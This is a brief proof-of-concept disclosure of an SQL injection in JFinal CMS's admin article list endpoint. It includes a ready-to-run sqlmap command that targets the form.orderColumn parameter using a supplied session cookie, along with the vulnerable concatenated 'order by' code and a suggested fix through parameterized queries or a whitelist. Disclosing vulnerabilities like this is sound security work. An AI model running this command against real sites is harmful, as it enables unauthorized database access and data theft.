POC
First of all you should install sqlmap
you need set
- target domain or IP
- your cookie
the run the shell
sqlmap -u http://targetDomainOrIP/jfinal_cms/admin/article/list --thread 8 --batch --smart --random-agent --data "form.orderColumn=*&form.orderAsc=asc&attr.folder_id=-1&attr.title=&attr.status=-1&totalRecords=9&pageNo=1&pageSize=20&length=10" --cookie " your cookie " --current-db
Sometimes you should know that the /jfinal_cms/ is not necessary ,you need juede the route
principle
you can see the code of interface /system/menu/list
sql.append(" order by ").append(orderBy);
There is a sql statement directly spliced
what is more
There is no measure to prevent sql injection because sql injection is required here
solution
By analyzing this function point, I found that the injection of orderby is fixed, such as id, name, menu key, so you can try to use parameterized query or make a whitelist
